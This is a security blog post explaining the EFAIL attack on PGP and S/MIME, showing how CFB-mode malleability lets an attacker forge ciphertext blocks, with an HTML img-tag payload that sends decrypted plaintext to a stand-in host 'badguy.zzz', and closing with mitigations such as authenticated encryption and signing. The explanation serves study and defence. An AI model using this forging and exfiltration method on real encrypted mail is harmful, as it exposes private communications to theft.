EFAIL: Malleability in symmetric cipher systems

 

In the previous post about EFAIL (https://www.s21sec.com/en/blog/2018/05/8326/) we talked about the risk that results from PGP using a “malleable” encryption algorithm. But, what does this mean? In this post we will see how this “malleability” allows the creation of fake and malicious encrypted messages that can result, under some circumstances, in information leak.

First of all, we have to understand that block ciphers are normally not used by themselves, as the encryption of a given plaintext with the same key results always in the same cyphertext. This allows an attacker to detect patterns in the cyphertext that correspond to similar patterns in the plaintext.

Additional operations are performed in order to include specific characteristics in the encrypted result. The operations that can be performed are defined in a series of “operation modes”.

The mode used in normal PGP operations is CFB (for S/MIME it’s CBC which, although different, has the exact same problems as CFB). In this case, the decryption process is quite strange. Each cyphertext block is XOR-ed with the previous cyphertext block re-encrypted with the key (yes, ironically, decryption of CFB mode does not use AES decryption, but encryption). The result of the XOR operation is the plaintext. As the first cyphertext block has no previous block, an initialization vector (IV) is used instead. This value is sent in the clear. From the Wikipedia article on operation modes (https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation):

One thing that can be seen from the previous graphic is that correct decryption of a given cyphertext block depends only on itself and the preceding cyphertext block. If this preceding cyphertext block is correct, the current one will be decrypted correctly. In this context, the “preceding block” for the first encrypted block is the IV. This means that if we take any two consecutive blocks from an encrypted message and put it anywhere else, at least the second block will be correctly decrypted (provided that the same key is used).

Now, let’s demonstrate that this operation mode is malleable and how we can use it to leak information from the encrypted message. If we intercept an encrypted PGP message we will find (among others) the following data:

  • Message encrypted with the symmetric key
  • Symmetric key, encrypted with the recipient’s public key (RSA, ElGamal…)
  • Initialization vector, not encrypted

The recipient is able to decrypt the symmetric key because he owns the corresponding private key, and with this symmetric key and the initialization vector, he is able to decrypt the encrypted message. But the attacker does not own the private key, and without the symmetric key he shouldn’t be able to decrypt the message even though he knows the initialization vector.

Still, due to the “malleability” of AES-CFB encryption, there are several operations that the attacker can perform even though he doesn’t know the symmetric key. To test this we will be working with openssl, which allows AES-CFB encryption, as it’s easier to manipulate the cyphertext and see the results than directly using S/MIME or PGP. First, we will select a text to encrypt. For instance, the first sentences of “Moby Dick”:

We generate random data and store in a file from which openssl will generate the key used to encrypt the message. This information will not be shown in any of the following examples, to demonstrate that its knowledge is not necessary to perform the malleability attacks.

For the IV value we will be using an easy-to-identify 16-byte value. This information is known to the attacker, so making it a difficult value will only make examples more complicated later in this post. With key and IV we can already encrypt the message.

It can be seen that we are telling openssl not to use salt for key generation. This is NOT a secure mode of operation for the enc command, but this method is more similar to PGP and S/MIME, where the key is given (instead of generated from the file as is the case here).

If we dump the output file, we can see the encrypted data:

If we had allowed openssl to use salt, it would have included the salt in the file itself. This would have made this attack a bit more complicated to understand, but not to perform. The output of the “xxd” program aligns the output in 16 byte lines by default, which is a good coincidence for us. As block size for AES-128-CFB is exactly 16 bytes, in this case each line corresponds to a different cyphertext block, making understanding the example easier. In fact, if we use xxd on the original message we can see the plaintext blocks that are going to be ciphered (each line corresponding to a 16-byte plaintext block):

We can check that the encrypted file decrypts to the expected text by using openssl again:

Now assume that the attacker wants to modify the message. One requirement is that he needs to know the content of just one block of plaintext in the whole message. This, which can appear difficult, is made easier because in many cases PGP messages include more or less constant headers, so by knowing the program that was used to generate the message, the attacker can infer the content of the first blocks of plaintext. In this case, we will assume that the attacker knows the message starts with the plaintext block “Call me Ishmael.” (exactly 16 bytes, the first line in the xxd output for the original message).

If we remember the diagram of the decryption process for CFB, the first block of plaintext (we will call it P1) is obtained by encrypting the IV and the XOR-ing the result with the first block of cyphertext (which we will call C1). So:

P1 = E (IV) ⊕ C1

Where E(IV) is the result of encrypting the IV (a value the attacker knows) with the symmetric key (a value he ignores), and ⊕ is the XOR operation. If the attacker wants the decryption process to result in a different plaintext P*1, he could just modify the first block of sent cyphertext (the first line in the previous hex dump), substituting it for a modified C*1, such that:

P*1 = E (IV) ⊕ C*1

Ok, but if he doesn’t know the key… how is the attacker going to calculate the value of E (IV) so that he can derive the value that has to be used as C*1? The answer is that it’s not necessary. If the previous expressions are XOR-ed together (left side with left side, and right side with right side) he obtains:

P1 ⊕ P*1 = E(IV) ⊕ C1 ⊕ E(IV) ⊕ C*1

And when there are two terms in an XOR chain that are equal (in this case, E(IV) is repeated two times in the right side of the expression) they cancel each other, so:

P1 ⊕ P*1 = C1 ⊕ C*1

And if C1 is moved from the right to the left (just as with normal equations we can move an addition from one side as a substraction in the other, in the case of XOR we can move a XOR term to the other side also as an XOR):

P1 ⊕ P*1 ⊕ C1 = C*1

And remember that the attacker knows the value of P1 (it’s the requisite for this attack), he knows P*1 (it’s the content we want to inject in the decrypted result) and C1 because he has captured it in the transmitted message (in this example, it’s the first line in the hex dump of message.enc). So, performing the XOR operations in the data he knows, he can obtain the value of C*1, the modified block he has to include in the ciphertext.

Let’s try this. We are not big fans of literature ourselves, so “Moby Dick” has no appeal for us. We are more into spy films, so we want to substitute the first block of plaintext with the famous phrase “My name is Bond.”. Note that the length is exactly the same as the original plaintext (16 bytes).

For this example, and for the sake of brevity, let’s call:

D1 = P1 ⊕ P*1

Then, from the previous expression:

C*1 = D1 ⊕ C1

We can summarize the values of the different blocks in a table (P1 and P*1 are shown both as characters and ASCII values):

P1

C a l l m e I s h m a e l .

P1

43 61 6C 6C 20 6D 65 20 49 73 68 6D 61 65 6C

2E

P*1

M y n a m e i s B o n d

.

P*1

4D 79 20 6E 61 6D 65 20 69 73 20 42 6F 6E 64

2E

D1

0E 18 4C 02 41 00 00 00 20 00 48 2F 0E 0B 08

00

C1

98 F1 30 9E 60 0B 7D F8 CE C9 1F 85 27 AC 7C

80

C*1 96 E9 7C 9C 21 0B 7D F8 EE C9 57 AA 29 A7 74

80

The modified block has the exact same values in the positions where the original and the modified plaintext match (the “me “ part, a single “s” and the dot at the end). If the first cyphertext block is substituted with these values and saved to a different file:

Where the modified ciphertext is the highlighted block. After executing decryption with openssl:

We have managed to generate a ciphertext that, after decryption, contains a text we can control, with the drawback of corrupting the next block (in this case, the second one). This is because decryption of the second block requires the original first block just before it, and we have removed it to include the modified block we calculated. But remember that correct decryption for a given block depends only on its previous block, which has to be the expected one. So, we can prepend the second block with the first one, and this first block with its previous one (which in that case is the IV itself), having the following file:

We have the modified cyphertext block, followed by the IV and the original text. If we decrypt this file we obtain:

Some text we control, a corrupt block and the exact original text. Unfortunately (for an attacker) it’s impossible to get rid of the corrupt blocks. These blocks appear in any place where we break the continuity of the original ciphertext. In this case, as we have included our modified cyphertext at the start, the corrupt block appears only after it. Still, the exact modified cyphertext we have calculated can also be included at the middle of the text and at the end (of course, always preceded by the IV, which is the “previous block” for our modified cyphertext). For instance, for the file:

We can see we inserted our modified cyphertext in three places, each of which is preceded by the IV (even the first block, as the IV for openssl is like the 0-th block). By decrypting we obtain:

We see the text repeated in three places: at the start, followed by a corrupt block, in the middle, preceded by a corrupt block and followed by another corrupt block, and at the end, preceded by the last corrupt block. If we remove every corrupt block, and the blocks we have purposefully inserted, we will see that we have the original plaintext message.

So, we have demonstrated that it’s possible to include blocks of data we control in any place in the message, with a length limitation of 16 bytes (the block size), and that it will be bounded by corrupt data. Still, we have been decrypting the data in several steps of the process, so probably it’s not clear enough which actions are performed by the attacker and which the message recipient.

Now we will try to follow an attacker as he is trying to exploit this issue. Let’s remember the situation. He has intercepted a message which has a IV that he can see, but a symmetric key that is encrypted with a public key whose private key he doesn’t own and a message that is encrypted with the unknown symmetric key. Its objective is sending a modified message but maintaining the IV and encrypted key so that when the modified message is decrypted by the recipient, it triggers an action that leaks information about the unencrypted data.

In order to further demonstrate that we don’t know anything else from the original message (apart from the encrypted data and the IV), we are going to generate a new key, encrypt a new message and delete the original unencrypted file.

The IV we will use is the same as before, for the sake of simplicity. To generate the modified cyphertexts, we have to know the content of two consecutive cyphertext blocks, and the plaintext the second one decrypts to. Throughout this post we are assuming that the block pair is [ IV, C1 ] because it’s easier to guess the content of the first block, as it will likely contain message headers, but the same could have been done with any pair [ Ci-1, Ci ], provided that we know Pi. For this example, we are using again the [ IV, C1] pair, so the only information the attacker has is that the first 16 bytes of the message (block P1) are “For twelve thous”. The content of IV is known because it is sent with the message, and the content of C1 is captured in the message as well.

We can dump the encrypted message:

And the first cyphered block (the one whose plaintext we know) is the highlighted line. With all this information the attacker is ready to perform the attack.

After having read the previous post on efail, we see that the attacker is going to try to forge an encrypted message that decrypts more or less to this HTML message:

<html>

<body>

<img src=”http://badguy.zzz/images/[ORIGINAL_PLAINTEXT].jpg”/>

</body>

</html>

Okay, it’s not like “badguy.zzz” exists as a domain, but we didn’t want to accidentally choose an existing domain… So, whenever the recipient decrypts this message, the email client will trigger a request for an image in a server controlled by the attacker. Of course, this image does not exist, but the request will be registered and the attacker will have access to the original plaintext (the unencrypted data we have already deleted).

The main problem the attacker has is that he can only include content in chunks of 16 bytes, and he has to accommodate 16-byte corrupt blocks before and after each 16-byte block he includes. It can be done, but the message is more like this one:

<html>

<body>

 [CORRUPT_DATA]

<img ignore=”[CORRUPT_DATA]” 

  src=”//aa.zzz/[CORRUPT_DATA][ORIGINAL_PLAINTEXT][CORRUPT_DATA].jpg”/>

[CORRUPT_DATA]

</body>

</html>

In this example, not all of the attacker-controlled blocks are exactly 16-byte blocks. In a real attack they should be, but we have conveniently removed or added whitespaces and newlines in order to better visualize the content. Note that we have had to use a URL pattern known as “protocol relative” URL because otherwise there’s not enough place in a block for both the protocol and the hostname.

So, in fact, the attacker needs a total of 5 modified blocks. Here we show a table with the original plaintext for block 1 and the five modified plaintexts we want to insert in the malicious message:

P1

F o r t w e l v e t h o u s

P*1

< h t m l > \n < b o d y > \n \n

\n

P*2

< i m g i g n o r e =

P*3

s r c = / / a a . z z z /
P*4 . j p g / >

\n

P*5 < / b o d y > \n < / h t m l >

\n

Performing the same calculations we did during our tests, and knowing the content of the first block, the attacker is able to calculate the modified cyphertexts for each:

C*1

EA E0 21 27 E9 9A 1F 93 E8 E2 98 F2 A0 FD 87 64
C*2 EA E1 38 2D A5 CD 72 C1 E5 FF 99 B6 BC D7 AD

4E

C*3

F4 A8 26 38 E6 99 37 80 A5 EC 9D A5 E4 8D F7 41
C*4 F8 E2 25 2D A7 8B 2B 8F AA AD DC AB BE D7 AD

64

C*5

EA A7 37 25 E1 DD 2B A5 B6 A2 94 FF F3 9B B3

64

With this modified cyphertexts, knowing that each modified cyphertext and the original cyphertext itself has to be preceded by the IV, the attacker can forge an encrypted message:

This message is then sent to the original recipient, along with the IV and the asymmetrically encrypted key. The recipient then decrypts the message and obtains an HTML message, but all the recipient sees is some content like this:

Some cryptic data including an image that could not be loaded. But at the same time, the attacker receives a request in his server:

From which the request itself can be conveniently extracted and urldecoded so that we see the original unknown data:

So, even though we had no access to the key (we haven’t used unknown_message.key) or to the original plaintext (apart from knowing the first block of plaintext, we have not used unknown_message.txt) we have managed to forge a message that when opened by the recipient, performs a request to a server we control passing us the original plaintext we didn’t know.

The main problem with Efail is that it is a vulnerability that does not arise from a single piece of software, so deciding whose fault it is has become more like a philosophical problem.

For instance, if the recipient had used a program that did not automatically interpret HTML, it would have been much more difficult for the attacker to forge a message the recipient would be tempted to open as HTML. Imagine that the recipient has to decrypt the message and once he sees the content and identifies it as HTML, he could ask for the data to be parsed. But taking into the account that for each 16-byte block the attacker includes an additional 16-byte block of corrupt data is added, it would have been very difficult (although not impossible) to hide the fact that it is a forged message.

But the problem could also have been solved if PGP used a different operation mode. There are several modes that provide what is known as AE (Authenticated  Encryption), many of them with the AEAD version (Authenticated Encryption with Associated Data). These modes include during encryption itself a process that generates a tag. This tag can be used during decryption in order to check the validity of the data. In this case, the attacker is unable to modify the data in any way, because any modification results in a modification of the tag, which the attacker is unable to hide without knowing the key. This process is similar to hashing the data to detect modifications, but with the advantage that the checking process is implicit in the decryption, making oracle attacks more difficult. One example of these modes is AES-GCM (Galois Counter Mode). For instance, TLS 1.3 will require that any supported cypher suite provides AEAD.

And last but not least, another similar approach that would have prevented this attack from taking place in the first place is for the sender to always sign data (as well as encrypting) and for the recipient to never trust unsigned messages, even if it appears to come from a valid sender (forging unsigned emails is quite simple nowadays). This way, in a similar way to AEAD, the program would have detected the modified data does not match the signature and would have rejected it.

Summarizing, as we said in the previous post, it’s not that PGP is broken. With some knowledge of why Efail works and taking some care with the handling of unsigned and unverified messages, it would be quite difficult to force the recipient to leak data in this way.

Recent Posts

Leave a Comment